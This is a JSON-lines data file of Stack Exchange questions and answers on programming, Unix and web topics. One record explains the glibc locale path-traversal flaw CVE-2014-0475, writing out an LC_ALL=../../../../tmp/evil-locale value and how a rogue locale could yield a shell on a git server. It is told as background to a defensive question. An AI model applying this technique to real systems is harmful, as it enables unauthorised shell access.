{  "id": "_webmaster.105132"  , "question": "I don't want my website to become copied by someone. But anyone can easily copy it using a software."  , "title": "How can I prevent my website from being copied?"  , "tags": "html;php;mirror;public html"  } 
{  "id": "_softwareengineering.349921"  , "question": "I need people opinions on how to improve a code I've written. Let's assume we have an application cataloging movies (~3500 of them) and actors (~1000, but I need to double-check this).Both actors and movies are POJOs. An actor has a picture, stored on disk and its path in a database, along with the person others attributes. A movie has a set of actors and other POJOs attributes. Given a movie, I need to be able to select the actors playing in it. I've therefore built a jlist with a scaled down buffered image of actors image. This jlist is heavily used through out the app. And the problems are with the performances of populating this jlist. It takes quite some time to create all the person objects and load their images (~2 mins) and this destroys usability. The bottleneck currently is the disk IO on the image reading. I have been through several iterations, but the latest is as follow:On start-up, loop through the person table, and create all the person objects with attributes accessible directly in the DB.Loop through the above collection of person objects, and for each one, go get its image and its buffered images (which are used in different contexts, the buffered image being used a lot more often) and add them as attributes. The images are on disk.Return the above synchronized arraylist to the application layer, and use it as a cache.There is little differences between getting the attributes and the images in the same loop (in terms of performances at least). With this approach, I have to wait for the full 2 mins to create all the objects before starting to use the app. But using the jlist is super fast as I just need access to the cache. But I'd like to reduce the waiting time to load the app. I understand there is not much that can be done to improve the disk access, but maybe a better approach is possible. This is a java application with swing and sqlite. I can share some part of the code if it helps clarify the question."  , "title": "How to quickly present 1000s of pictures in a jlist"  , "tags": "java;performance;swing;sqlite"  } 
{  "id": "_unix.185664"  , "question": "What kinds of problems will occur by deleting partitions with fdisk that are currently mounted. I tested this on a mounted usb partition and it gave me some peculiar errors. I know it is something you shouldn't do, just curious as to why. "  , "title": "fdisk delete mounted partition"  , "tags": "fdisk"  } 
{  "id": "_webapps.11298"  , "question": "I am trying to find a time for office hours that accommodates all of my students.Does there exist a web app that will let me determine, say, two different 1-hour blocks of time for which my students are all free for at least half of each hour? I've already determined that for every half-hour block of time, at least two students have a conflict (and so my naive algorithm for solving this problem doesn't work).There are of course hacks to do this: I could have each student create a google calendar and add them all to one calendar. I am simply optimistic that someone has already implemented a better way to do this. "  , "title": "Is there a web app for coordinating office hours with students?"  , "tags": "webapp rec"  , "accepted_answer": "Yes, try Doodle."  } 
{  "id": "_softwareengineering.204983"  , "question": "I'm creating a web application which on the client side consists of a Single Page Application (with Durandal) and on the server side an ASP.NET MVC site with a Domain Driven Design. The two are connected with a REST Api (Web API).I have a relation between two entities, which on the database level is many-to-many. (Hotels <=> RoomTypes). Since in DDD a best practice is not to have many-to-many relationships I built it so that it can only be navigated from the roomtype to the hotel (since a hotel can exist without roomtypes, but a roomtype should always be associated with a hotel). The relation itself also has attributes (availability for example). My current issue is how to associate a hotel with a roomtype however. Following DDD practices I would add a method AddHotel to the RoomType-class. The problem is that in the SPA, you can edit all the attributes of a roomtype (pictures, description, ...) and associated hotels in a single view. After editing these attributes, an update is submitted via the rest api. This means that everything gets submitted in one call to the server.How would you structure the server and the rest based API so that:the domain stays in place and there's correct validation inside the RoomType-classyou can post atomic updates from the single page application through the restthere's no code duplication on the server and the single page application"  , "title": "Combining Single Page Application and DDD with a REST API"  , "tags": ".net;rest;domain driven design"  , "accepted_answer": "You seem to hint at your own answer: don't submit everything in one go. If you think about it, what kind of actions would you like to be able to do in your view? One of them is apparently assigning hotels to room types. So for every action you want to perform in your view you either have a method you call on a endpoint controller, or if you want to work with commands, you'd form a AssignHotelToRoomTypeCommand with all the necessary data for executing that procedure, and send that command to an endpoint. The more I think about it though, assigning a hotel to a room type seems a bit weird/backwards to me... Is there a reason you are modelling a room type as an entity and not a value object?"  } 
{  "id": "_unix.275296"  , "question": "I have text file that have multi lines I want to search for lines containing some text and add # at the start of those lines. ex:file1 that I want to change itacnet           6801/tcp                # ACNET Control System Protocolacnet           6801/udp                # ACNET Control System Protocoldlip            7201/tcp                # DLIPdlip            7201/udp                # DLIPssp-client      7801/tcp                # Secure Server Protocol - clientssp-client      7801/udp                # Secure Server Protocol - clientI want to find ports located in inputfile1. input file one contains:68017801so the final output of file1 will be like this:#acnet           6801/tcp                # ACNET Control System Protocol#acnet           6801/udp                # ACNET Control System Protocoldlip            7201/tcp                # DLIPdlip            7201/udp                # DLIP#ssp-client      7801/tcp                # Secure Server Protocol - client#ssp-client      7801/udp                # Secure Server Protocol - clientI triedcat /etc/services |grep -f ports.txt | awk  '{ print# $g}';but this give me the output to screen.How to change them in the file?"  , "title": "find muli lines in file from other file"  , "tags": "sed;awk;grep"  , "accepted_answer": "Try something like:awk -F[ \\t]*|/ 'NR==FNR{A[$1]; next} $2 in A { printf # }1' ports.txt /etc/services > newfileIf the output is correct, you can copy it to /etc/services"  } 
{  "id": "_webmaster.61241"  , "question": "I have to take a website down for a month, which is the least intrusive way to keep achieved SEO optimizations?should I just add in apache config:<Directory /root-directory-of-web-site-to-be-redirected>    Redirect 301 /  http://www.otherdomain.com/temporarily_offline.html</Directory>....Reason for the long downtime: some misconfiguration in ruby, while all other php sites work fine. I will fix this after a month when I am back from hollidays"  , "title": "How do I temporarily disable a website?"  , "tags": "apache;redirects"  } 
{  "id": "_scicomp.626"  , "question": "I have a question. I need to calculate the computational complexity of image segmentation algorithms. Can anyone please help me? For example, I have a screen-size picture with white background containing k randomly-positioned black objects with random sizes (between 90*90 to 110*110) in it. I am going to calculate how long it takes for a rapid current computer to segment all black items in my image.For example, use connected component labeling to segment the components: http://en.wikipedia.org/wiki/Connected-component_labelingOne-Pass(Image)            [M, N]=size(Image);            Connected = zeros(M,N);            Mark = Value;            Difference = Increment;            Offsets = [-1; M; 1; -M];            Index = [];            No_of_Objects = 0;    for i: 1:M :       for j: 1:N:            if(Image(i,j)==1)                             No_of_Objects = No_of_Objects +1;                             Index = [((j-1)*M + i)];                            Connected(Index)=Mark;                             while ~isempty(Index)                                      Image(Index)=0;                                      Neighbors = bsxfun(@plus, Index, Offsets');                      Neighbors = unique(Neighbors(:));                                      Index = Neighbors(find(Image(Neighbors)));                                                      Connected(Index)=Mark;                 end                             Mark = Mark + Difference;            end      end  end"  , "title": "Computational Complexity of Image Segmentation algorithms"  , "tags": "complexity;image processing"  } 
{  "id": "_scicomp.21118"  , "question": "I have the following problem. Let's say we have $x_{jk}$ it is an expression value of gene $j$ in a sample $k$. It is the average of expression levels across the cell types $s_{ij}$, weighted by respective proportions $a_{ki}$ ($i = 1 \\cdots N$, $N$ is the disease type):$$x_{jk} = \\sum_{i=1}^{N} a_{ki}s_{ij}$$Generally this can be expressed as matrix form$$ X = AS$$What I want to do is to solve this equation\\begin{align}&\\min_{A}\\ || AS- X||^{2}\\\\&\\text{subject to } \\left\\{\\begin{array}{c l}          \\sum_{i} a_{ki} = 1\\\\    a_{ki} \\ge0, \\forall i\\end{array}\\right.\\end{align}Typically this is solved by using quadratic programming.  The  number of genes is  large (e.g. ~30K). I'm wandering if there is any good probabilistic model to deal such kind of problem?"  , "title": "Probabilistic model to approach problem that is usually dealt with linear programming"  , "tags": "linear programming;probability;numerical modelling"  } 
{  "id": "_unix.217259"  , "question": "I like adapting the style of my terminal depending on what I am doing inside. Using tilda, I am therefore looking for a way to dynamically change the cursor shape, say, with a command line.I know that this option can be changed without having to restart tilda since I can do this from the gui config editor. However, runningsed s/^cursor_shape = 0/cursor_shape = 1/ -i ~/.config/tilda/config_0does not work, even if it does change the desired file in the desired way. Moreover, the change is canceled if I quit tilda then restart it, which means to me that some information is stored elsewhere in some way.Is there a way I can make this change immediately effective? (like a function I would call to make tilda read the config file again?)"  , "title": "Edit tilda config files while running tilda"  , "tags": "configuration;tilda"  , "accepted_answer": "Thanks to Lanoxx, who is currently developping tilda. I can now answer this question.tilda saves the configuration on exit to the config files. Therefore, editing them while it is running has no effect. Changing the configuration from the command line is not supported yet. It would require a dbus interface to be implemented against tilda, which is quite a job and will probably not be done soon. tilda is still a great terminal emulator anyway :)"  } 
{  "id": "_unix.257555"  , "question": "I nearly have this working, This is a script that will run in CRON to keep the latest 10 backups, and remove anything else, I want to log this to keep track to make sure all is in good order, I have it working & writing what files were deleted, alas I cannot set a prefix of a timestamp.TIMESTAMP=$(date +%d-%m-%Y-%H-%M-%S)LOGFILE=/home/user/place/backups/backuplog.txtecho $TIMESTAMP,  | ls -1tr | head -n -10 | xargs -d '\\n' rm -f -v >> $LOGFILE"  , "title": "BASH how to save output of rm with timestamp?"  , "tags": "bash;shell;shell script"  , "accepted_answer": "You can use the ts command for that:ts [-r] [-i | -s] [format]Something like the following:TS_FORMAT=%d-%m-%Y-%H-%M-%S, LOGFILE=/home/user/place/backups/backuplog.txtls -1tr | head -n -10 | xargs -d '\\n' rm -f -v | ts ${TS_FORMAT} >> $LOGFILEts is included in the moreutils package.Update: Without Installing More DependeciesYou can use xargs again:TIMESTAMP=$(date +%d-%m-%Y-%H-%M-%S)LOGFILE=/home/user/place/backups/backuplog.txtls -1tr | head -n -10 | xargs -d '\\n' rm -f -v | xargs -L 1 -d '\\n' echo ${TIMESTAMP},  >> $LOGFILEAnother possibility is to use sed:TIMESTAMP=$(date +%d-%m-%Y-%H-%M-%S)LOGFILE=/home/user/place/backups/backuplog.txtls -1tr | head -n -10 | xargs -d '\\n' rm -f -v | sed s/^/${TIMESTAMP}/ >> $LOGFILEUsing awk:LOGFILE=/home/user/place/backups/backuplog.txtls -1tr | head -n -10 | xargs -d '\\n' rm -f -v | awk '{ print strftime(%d-%m-%Y-%H-%M-%S), $0}' >> $LOGFILEAnd so on."  } 
{  "id": "_unix.128192"  , "question": "What could be a way to retrieve a list of all the characters in a given character class (like blank, alpha, digit...) in the current locale.For instance,LC_ALL=en_GB.UTF-8 that-command blankideally, on my Debian system, would display something like:      09 U+0009 HORIZONTAL TAB      20 U+0020 SPACEe1 9a 80 U+1680 OGHAM SPACE MARKe1 a0 8e U+180E MONGOLIAN VOWEL SEPARATORe2 80 80 U+2000 EN QUADe2 80 81 U+2001 EM QUADe2 80 82 U+2002 EN SPACEe2 80 83 U+2003 EM SPACEe2 80 84 U+2004 THREE-PER-EM SPACEe2 80 85 U+2005 FOUR-PER-EM SPACEe2 80 86 U+2006 SIX-PER-EM SPACEe2 80 88 U+2008 PUNCTUATION SPACEe2 80 89 U+2009 THIN SPACEe2 80 8a U+200A HAIR SPACEe2 81 9f U+205F MEDIUM MATHEMATICAL SPACEe3 80 80 U+3000 IDEOGRAPHIC SPACEAnd in the C locale could display something like:09 U+0009 HORIZONTAL TAB20 U+0020 SPACEThat is, the representation of the character in the locale in terms of arrays of bytes, (like UTF-8 in the first example, and single byte in the second), the equivalent Unicode character codepoint and a description.Context(edit) Now that the vulnerability has long been patched and disclosed, I can add a bit of context.I asked that question at the time I was investigating CVE 2014-0475. glibc had a bug in that it let the user use locales like LC_ALL=../../../../tmp/evil-locale that are resolved relative to the standard system locale search path and thus allow to use any file as locale definition.I could create a rogue locale for instance with a single byte per character charset where most characters except s, h and a few others were considered blanks and that would make bash run sh while parsing a typical Debian /etc/bash.bashrc file (and that could be used to get shell access on a git hosting server for instance provided bash is used as the login shell of the git server user and that the ssh server accepts LC_*/LANG variables and that the attacker can upload files to the server).Now, if I ever found a LC_CTYPE (compiled locale definition) in /tmp/evil, how would I find out it was a rogue one and in which way.So my goal is to un-compile those locale definition, and if not, at least know which character (along with their encoding) are in a given character class.So with that in mind:Solutions that look at the source files for the locale (the locale definitions like the ones in /usr/share/i18n/locale on Debian) are of no use in my case.Unicode character properties are irrelevant. I only care about what the locale says. On a Debian system, even between two UTF-8 system locales, let alone rogue ones, the list of characters in a class can be different.Tools like recode, python or perl that do the byte/multi-byte to/from character conversion can't be used as they may (and in practice do) make the conversion in a different way than the locale."  , "title": "Command to retrieve the list of characters in a given character class in the current locale"  , "tags": "locale;character encoding"  , "accepted_answer": "On GNU, FreeBSD or Solaris systems at least, this brute-force approach works:#include <wctype.h>#include <locale.h>#include <stdio.h>#include <stdlib.h>int main(int argc, char *argv[]){  unsigned long i;  int need_init;  wctype_t type;  FILE* to_perl;  setlocale(LC_ALL,);  if (argc != 2) {    fprintf(stderr, Usage: %s <type>\\n, (argc?argv[0] : ???));    exit(1);  }  if (!(type = wctype(argv[1]))) {    fprintf(stderr, Invalid type: \\%s\\\\n, argv[1]);    exit(1);  }  need_init = wctomb(0, 0);  to_perl = popen(perl -Mcharnames=full -ane '                  printf \\%17s U+%04X %s\\n\\, join(\\ \\, @F[1..$#F]),                  $F[0], charnames::viacode($F[0])', w);#ifdef SUPPORT_ROGUE_LOCALES  for(i=0; i<=0x7fffffff; i++) {#else  for(i=0; i<=0x10ffff; i++) {    if (i == 0xd800) i = 0xe000; /* skip UTF-16 surrogates */#endif    if (iswctype(i, type)) {      int n;      unsigned char buf[1024];      if (need_init) wctomb(0, 0);      n = wctomb(buf, i);      if (n > 0) {        int c;        fprintf(to_perl, %lu, i);        for (c = 0; c < n; c++)          fprintf(to_perl,  %02X, buf[c]);        putc('\\n', to_perl);      }    }  }  pclose(to_perl);  return 0;}While per C/POSIX, wchar_t is an opaque type that has no relation to Unicode and is only guaranteed to cover all the characters supported by the system's locale, in practice, in most systems that support Unicode, the values do correspond to the Unicode code points and the locale definitions are themselves based on Unicode.Unicode is meant to be a superset of all known charsets, so looping over all the valid code points in Unicode (0 to 0xD7FF and 0xE000 to 0x10FFFF) should list at least all the characters supported by a given charset.Here, we're using the system's locale standard API to check which ones are of a given type and to convert it to their encoded form in the locale's encoding. We use perl and its charnames module only to get the name from a given Unicode codepoint.On locales that use stateful encodings like ISO-2022-JP, we make sure the encoded form is displayed from a default initial state.I've not found a system that had installed locales with a stateful character encoding but at least on GNU systems, it is possible to generate some so a rogue locale could be made to (and at least GNU tools don't work properly in those locales). For instance, with a custom locale that uses ISO-2022-JP with a normal ja_JP locale, I get:$ LOCPATH=$PWD LC_ALL=ja_JP.ISO-2022-JP ~/list-type blank       09 U+0009 CHARACTER TABULATION       20 U+0020 SPACE   1B 24 42 21 21 U+3000 IDEOGRAPHIC SPACECompare with:$ LC_ALL=ja_JP.eucjp ~/list-type blank       09 U+0009 CHARACTER TABULATION       20 U+0020 SPACE    A1 A1 U+3000 IDEOGRAPHIC SPACEIn ISO-2022-JP, the 1B 24 42 sequence (\\e$B) switches from ASCII to a state where characters are expressed as 2 (7-bit) bytes (here 21 21 for that IDEOGRAPHIC SPACE). While in EUCJP, it's the same bytes but the state switching is done by flipping the 8th bit (A1 = 21 | 0x80) which makes it more stateless.That means that in those stateful encodings, there are several ways to write a given character (for instance by inserting several of those state switching sequences), and the shown sequence by that code above is just one of them (the canonical one from an initial default state).While for a normal locale, characters can't be outside 0..0xD7FF, 0xE000..0x10FFFF, for a rogue locale, any character in the range supported by wchar_t may be. For instance, I could create a locale where U+DCBA or U+12345678 characters (or would be characters if they were allowed) are blanks. That's why you'd want to compile that code with -D SUPPORT_ROGUE_LOCALES to cover those, though that means it takes a lot more time to scan the whole list.I couldn't use @mikeserv's solution as recode uses its own conversions, is no longer maintained and only supports Unicode characters up to 0xFFFF, and GNU tr at least doesn't work with multi-byte characters.I couldn't use @ChrisDown's as python doesn't have interfaces to the POSIX character classes.I tried Perl, but it's bogus for code points between 128 and 255 for multi-bytes locales other than UTF-8 and doesn't use the system's conversion libraries."  } 
{  "id": "_codereview.14483"  , "question": "I'm doing exercise 11.8 from Scala for impatient, asking to write a matrix class:  Provide a class Matrix - you can choose whether you want to implement 2  x 2 matrices, square matrices of any size, or m x n matrices. Supply operations + and *. The latter should also work with scalars, for example mat * 2. A single element should be accessible as mat(row, col).The code is working, but may be there can be improvements to make code more functional or more stable:class Matrix(val n: Int, val m: Int, fun: (Int, Int) => Double) {  private val matrix = Array.tabulate[Double](n,m)(fun)    def +(another: Matrix) = {     if (n != another.n || m != another.m)       throw new IllegalArgumentException(Sizes of arrays don't match.)     else       new Matrix(n, m, (i, j) => this(i)(j) + another(i)(j))   }  def *(another: Matrix) = {     if (m != another.n)      throw new IllegalArgumentException(Sizes of arrays don't match.)    else        new Matrix(n, another.m, (i,j) => { var sum = 0.0;                                           for (k <- matrix(i).indices) sum += matrix(i)(k) * another(k)(j);                                           sum }       )   }  def *(k: Int) = new Matrix(n, m, k * matrix(_)(_) )  def apply(i: Int)(j: Int) = matrix(i)(j)  override def toString = {     var result =     for (row <- matrix) {      for (value <- row)        result += value +         result += \\n    }    result  }}"  , "title": "Producing a matrix class that supports any size"  , "tags": "scala;matrix"  , "accepted_answer": "Remove all var. Doesn't the book show for...yield by that point? For example:(i,j) => {   var sum = 0.0;   for (k <- matrix(i).indices) sum += matrix(i)(k) * another(k)(j);   sum }Can be replaced with:(i,j) => (for (k <- matrix(i).indices) yield matrix(i)(k) * another(k)(j)).sumThe var on toString can be replaced by using mkString. I'll let you work out for yourself how to do that, now that I called your attention to that method. And, yes, it that method works on Array as well, though it doesn't appear on Scaladoc for Scala up to 2.9.2 because it is added implicitly. I suggest you use the nightly scaladoc to look things up -- the documentation there is better, though it may show things not available on release versions, and so is the tool itself."  } 
{  "id": "_softwareengineering.278580"  , "question": "I have an app that sends/receive data via HTTP POST, and communicates with PHP/SQL on the backend.I however wanted to integrate GCM to I can tell the app to check for an update to query the server. I wanted to sell the app, and the user has to run the server themselves (the PHP backend). However, I assume I can't publicly list my Google API key. Am I correct in saying that? That throws GCM out the window.I'm new to sockets, but can I create a TCP connection between the device and server, and send requests back and forth. Or does there need to be two sockets, one to send request, and one to listen?Thanks."  , "title": "Android. HTTP Communcation, and GCM"  , "tags": "android;http;server"  } 
{  "id": "_softwareengineering.345818"  , "question": "I had a discussion about standardizing return structures in an API and the best way to enforce it across our services. The quickest way we went with was just to have our controllers in .NET Web Api return the same templated class so we came up with something like this class ResponseObject<T> {    public T Data {get;set;}    public Permissions UserPermissions {get;set;}    public Message ObjectMessage {get;set;}    public Status ObjectStatus {get;set;}}And each controller returns this strcuture and fills in the common properties. We also made some helper functions so that controllers that shared the same return type T weren't rewriting the same things over and over.This works OK for the most part but my idea was instead of every controller doing this, to turn it into an action filter. public class MyResponseHandler : ActionFilterAttribute{    public override OnActionExecuted(HttpActionExecutedContext actionExecutedContext)    {        var objectContext = actionExecutedContext.Response.Content as ObjectContent;        if(objectContent != null)        {            var val = objectContent.Value;            var type = objectContent.ObjectType;            actionExecutedContext.Response = actionExecutedContext.Request.CreateResponse(actionExecutedContext.Response.StatusCode,                                                                                           new ResponseObject<type>(){data = val})        }    }}For the other properties in the common ResponseObject my idea was that these could also be handled with more action filters in the pipeline to fill them in. I thought this was a good approach because the developers would only have to worry about returning the object they really cared about for the controller and then the pipeline would handle everything the same way for each type of object. In the end we deemed it overkill and there was some concern that the pipeline would have too much logic and  decisions made in it leading to a bunch of hard to debug errors. But I'm  curious to see what other people thought of this approach or if anyone has done anything similar to enforce return structures in an API. "  , "title": "Using Web Api pipeline to standardize return structures"  , "tags": ".net;api design;web api"  , "accepted_answer": "As with all things of this nature, the answer is: it depends. You are addressing the important thing, which is having a consistent API (there is nothing worse than an API thats inconsistent in the way you use it) but how you will implement this will of course have advantages and disadvantages. What I suggest is to choose the safest path and the more controllable implementation.The thing is this: you can't predict the future. By moving this implementation to the pipeline what you are doing is predicting that all your controllers will fit a certain way of working. All should generate the same response structure but some might have particularities in how they do that (what if you always return the same thing but with different permissions? How are you going to control the permissions in the pipeline when your method only returns the response data?).  Abstractions leak and when they do people tend to keep the abstraction but hack it to still fit on the new situations.Ive used both ways of doing this and I tend to prefer the implementation where you return ResponseObject<T> instead of having the response structure created by the pipeline. Its more work because you need to always write it by hand. But its explicit. With proper helper methods, this becomes easy, even in the future when things you didnt see coming start to happen.With the other implementation, what I found out was that you start to put various parts of unrelated logic into this layer and that it becomes harder to trace errors because the response isnt over when you return from your method.Like I said, all depends on your applications complexity and use cases. If your app is simple you can also have this handled in the pipeline and have the implementation remain just a dumb layer. YMMV"  } 
{  "id": "_unix.134352"  , "question": "I run Debian Jessie without a desktop environment (I use the tiling window manager i3) and like to use xdg-open to quickly open files using a preferred application.  I have an ongoing problem setting the preferred app for PDF files though. This is my problem in a nutshell:$ xdg-mime query filetype ~/Downloads/document.pdfapplication/pdf$ xdg-mime query default application/pdf/usr/share/applications/qpdfview.desktop$ xdg-open ~/Downloads/document.pdf[opens gimp!]Any ideas would be hugely appreciated - this has been plaguing me for about a year.  The only way I've ever managed to (temporarily) fix it is by directly editing the mimeinfo.cache and removing the reference to gimp from the application/pdf record.And yes, /usr/share/applications/qpdfview.desktop exists and contains the correct location of the qpdfview binary.  (Indeed, this .desktop file is used when I hand-edit mimeinfo.cache.)"  , "title": "xdg-open opens a different application to the one specified by xdg-mime query"  , "tags": "debian;xdg open"  , "accepted_answer": "You could attempt to manually set it via the command line using mimeopen.Example$ mimeopen -d ~/test.pdfPlease choose a default application for files of type application/pdf    1) E-book Viewer  (calibre-ebook-viewer)    2) Document Viewer  (evince)    3) Xournal  (xournal)    4) GNU Image Manipulation Program  (gimp)    5) Xpdf PDF Viewer  (xpdf)    6) Print Preview  (evince-previewer)    7) Inkscape  (inkscape)    8) calibre  (calibre-gui)    9) Other...use application #2Opening /home/saml/Downloads/test.pdf with Document Viewer  (application/pdf)Which results in my PDF file, test.pdf opening up in Evince. From this point on Evince is the default when I use xdg-open.ReferencesHow to get a list of applications associated with a file using command lineIs there an open with command for the command line?"  } 
{  "id": "_softwareengineering.298125"  , "question": "When your creating a project that has some sort of information that needs to be private (authentication details, etc), but you want to use some public repo like Github, are there anything that can be done to keep these things private?All I can really think of is ignore the file that has this data in it, but then if you need to change anything, it needs changing everywhere that it's checked out, making the VCS pointless. Same issue with reverts etc.Or is this something that cannot really be avoided easily when using a public repo?"  , "title": "Hide authentication information on Github"  , "tags": "github;authentication;repository;privacy"  , "accepted_answer": "There are a couple of different ways to deal with this problem. It all depends on your personal preference.Don't commit any configuration filesThis is probably the easiest, although you have to make sure you never accidentally commit anything with configuration information in it. With git, once it has been committed and pushed out or forked it's practically impossible to remove it. If you ever leaked anything in a configuration file that was pushed, consider that information compromised.Major disadvantage here is that you have to maintain some kind of documentation on the structure and entries you need in the configuration file. Deploying the application means creating a configuration file for your environment. A new version that adds a configuration option will need some kind of documentation on the deployment process for the new version to make sure this option is set.Commit a sandbox-fileA lot of projects favor an approach where you can check out, build and run an application without the need to do any configuration. You can achieve this by providing a default configuration file. For your database, this file could just point to a localhost database-server with 'myproject_user' as username and 'myproject_password' as password for the 'myproject_db'. This has the advantage of providing a default configuration file with all options present AND is part of the code because it runs with the application, unlike your documentation.Downside is that in this case people checking out your application have to set up their environment to match this, or still change the configuration settings. Does not fix the issue with having to remember to set configuration values on deployment either.Provide a parameters.dist-file that is checked at deploy-timeFrameworks such as Symfony actually version configuration files by having a parameters.yml.dist-file. (see http://symfony.com/doc/current/best_practices/configuration.html). This is a template file that simply contains the structure of the config file, without any values, and during deployment compares the existing parameters.yml-file to the parameters.yml.dist-file that is deployed. Obsolete entries are dropped and new entries that need a value prompt to the person deploying the app for a value.This is a solid approach for big applications and frameworks that will be used in other applications or by external parties, but might be overkill for smaller applications where deployment is often a simple copy/past or FTP upload and you can follow a deployment-document that outlines what entries you need to change."  } 
{  "id": "_unix.30497"  , "question": "I have basic understanding of chmod and CentOS file permissions. 777 stands for 111111111 and rwx for each root, group, user, etc. What I can't get my head around is setting up Apache, FTP and PHP to all work together correctly.I have a proFTPd server and Apache server. How should I setup the permissions on the proFTPd server so that Apache server can read and execute the PHP files? On my initial setup, the files uploaded by FTP cannot be read by Apache. Should I put the FTP user and the apache server into a group? How does the permission system work (FTP-Apache-PHP) on standard hosting systems?"  , "title": "How to set up file permissions/ownership for FTP/Apache/PHP on CentOS"  , "tags": "permissions;php;ftp;webserver"  } 
{  "id": "_softwareengineering.264600"  , "question": "I am not sure whether this question is a good fit for this site, but if it is not, please let me know and I will take it down. If it is off-topic, some general info on where I can look for these answers would be greatly appreciated.I am wondering how the data that determines how text is to be formatted is stored. For example, if I format some text in Bold and Italic in Microsoft Word, I can paste it into google docs and the formatting will stay the same, but If I paste it in here, it will loose its formatting. I am wondering if this is because google docs is aware of the formatting used by Word and it converts it, or if they use the same type of formatting and there is some set of standards. "  , "title": "cross-application text formatting"  , "tags": "formatting;text encoding"  } 
{  "id": "_softwareengineering.324575"  , "question": "I'm working on a component where I put in data and I get different data as a result. The input is always the same (3 Objects). From these 3 Objects up to 9 other Objects can be calculated. One calculation for each output Object is performed.Before the output data is calculated I want to set which of the 9 Objects shall be calculated.Set input dataSet which output data shall be calculatedGet Output dataI'm working in Visual C++ (C99). At the moment I'm facing a bit of a design problem here. After I set the input data, I am using a bit mask to configure which output data is supposed to be calculated. const int  foo1 = 1;   //000000001const int  foo2 = 2;   //000000010const int  foo3 = 4;   //000000100const int  foo4 = 8;   //000001000const int  foo5 = 16;  //000010000const int  foo6 = 32;  //000100000const int  foo7 = 64;  //001000000const int  foo8 = 128; //010000000const int  foo9 = 256; //100000000SetOutput(foo2 | foo4 | foo5 );The data is held in an array ARRAY[9] . For those that have been set (foo2, foo4 and foo5) the elements contain valid data after the calculation (ARRAY[2], ARRAY[4], ARRAY[5])I then want to get the the resulting data.GetData(foo2);GetData(foo4);GetData(foo5);My problem is how do I get the element index from the mask values  foo2 = 2, foo4 = 8 or for example foo5 = 16?The only possibility would be taking log2(n) and get 2, 3 and 4, which would be the correct element indexes of ARRAY. Is there a simpler way than this?I thought about using a map instead, with the mask value (1,2,4,8...256) as key field and the calculated data in the value field.But would prefer to keep the static array.Thanks in advance!"  , "title": "Getting an array index (0,1,2,..8) from bit masking value (1,2,4,8..256) without using log2(n). Maybe a design issue"  , "tags": "c++;c;bitwise operators"  } 
{  "id": "_softwareengineering.213571"  , "question": "In the book Clean Code Robert Martin makes a statement regarding the following code: public Money calculatePay(Employee e) throws InvalidEmployeeType {   switch (e.type) {    case COMMISSIONED:      return calculateCommissionedPay(e);    case HOURLY:      return calculateHourlyPay(e);    case SALARIED:      return calculateSalariedPay(e);    default:      throw new InvalidEmployeeType(e.type);   } }Statement: The solution to this problem (see Listing 3-5) is to bury the switch statement in the basement of an ABSTRACT FACTORY,9 and never let anyone see it.What I don't understand is why does he call it an Abstract Factory? If the solution is to create 3 Employee subclasses each implementing it's own CalculatePay method then the logic is moved up to let's say the controller. But then we have to create a Simple Factory (Idiom) not an Abstract Factory as presented in the original book from the GOF. The Abstract Factory has the intent to: Provide an interface for creating families of related or dependent objects without specifying their concrete classes. but this is clearly not the case."  , "title": "Should Uncle Bob's example be refactored to an AbstractFactory or a SimpleFactory?"  , "tags": "design patterns;uncle bob"  } 
{  "id": "_softwareengineering.134968"  , "question": "How to go about getting the number of combination ( C(5,4) ) without using recursion in C? Is there any other method or inbuilt library to do this?"  , "title": "Number of combinations"  , "tags": "c"  } 
{  "id": "_codereview.148720"  , "question": "I'm working on a problem to select k nearest points for a given point. Any advice for bugs, improvements are appreciated, including general advice to implement find nearest k points.My major idea is using the select-rank algorithm (similar to quicksort, using a pivot value, and divide-conquer the distance array). I think my algorithm time complexity is \\$O(n)\\$ -- which is \\$O(n)\\$ to calculate distances, and \\$O(\\log n)\\$ for select rank part. If my calculation is wrong for the time complexity, appreciate for corrections.import mathimport randomdef find_nearest_k(distance, start, end, k):    pivot_index = random.randint(start, end)    original_start = start    original_end = end    while start <= end:        while start <= end and distance[start][1] <= distance[pivot_index][1]:            start += 1        while start <= end and distance[end][1] > distance[pivot_index][1]:            end -= 1        if start <= end:            distance[start], distance[end] = distance[end], distance[start]        else:            break    if start - original_start == k:        return distance[:start]    elif start - original_start > k:        return find_nearest_k(distance, original_start, start - 1, k)    else:        return find_nearest_k(distance, start, original_end, k - (start-original_start))def calculate_distance(center, points):    result = []    index = 0    for point in points:        result.append((index, (math.pow(center[0]-point[0],2) + math.pow(center[1]-point[1],2))))        index += 1    return resultif __name__ == __main__:    center = (0,0)    points = [(1,2),(8,9),(6,5),(2,1),(10,20),(10,9)]    distances = calculate_distance(center, points)    print find_nearest_k(distances, 0, len(distances)-1, 2)"  , "title": "Find k nearest points"  , "tags": "python;algorithm;python 2.7;computational geometry;clustering"  } 
{  "id": "_cs.52841"  , "question": "I am reading about a specific field of probabilistic programming, and trying to understand what the term stateful computation means.See: http://projects.csail.mit.edu/church/wiki/Simple_Generative_Models(search for XRP)"  , "title": "What is a stateful computation?"  , "tags": "terminology;programming languages;randomized algorithms"  , "accepted_answer": "Stateful computation basically means that the model of computation has got a memory storage to store information, and it uses this information to compute. For example, let us say you have a function $f()$ computing something using state information. Then, if you do,$x_1 = f()$$x_2 = f()$$x_3 = f()$...$x_1, x_2, x_3,.. $ may be all different. In functions, defined  as mapping in  set theory, we cannot have functions returning different values from different calls. We will need to define something like $\\langle y, store_{i+1}\\rangle = f(\\langle x, store_i\\rangle)$ in that case. A sample code for $f()$ that is stateful is given below.function f()output: integer x;global integer store initialized to 0;x = storeincrement store by 1return xThis function will return 1, 2, 3, 4, ..., in sequence when it is called multiple times. Here store is the memory storage it uses to compute differently. The function can also use other inputs to compute its output, such as events from an event queue, input data, interactive data, etc. but stateful computation must assume an underlying saving of state in the model of computation. By the way, the model of computation for computers is Turing Machine, which can be thought as stateful computation if you use functions as subroutines, i.e., you do not start Turing machine from beginning at every function call."  } 
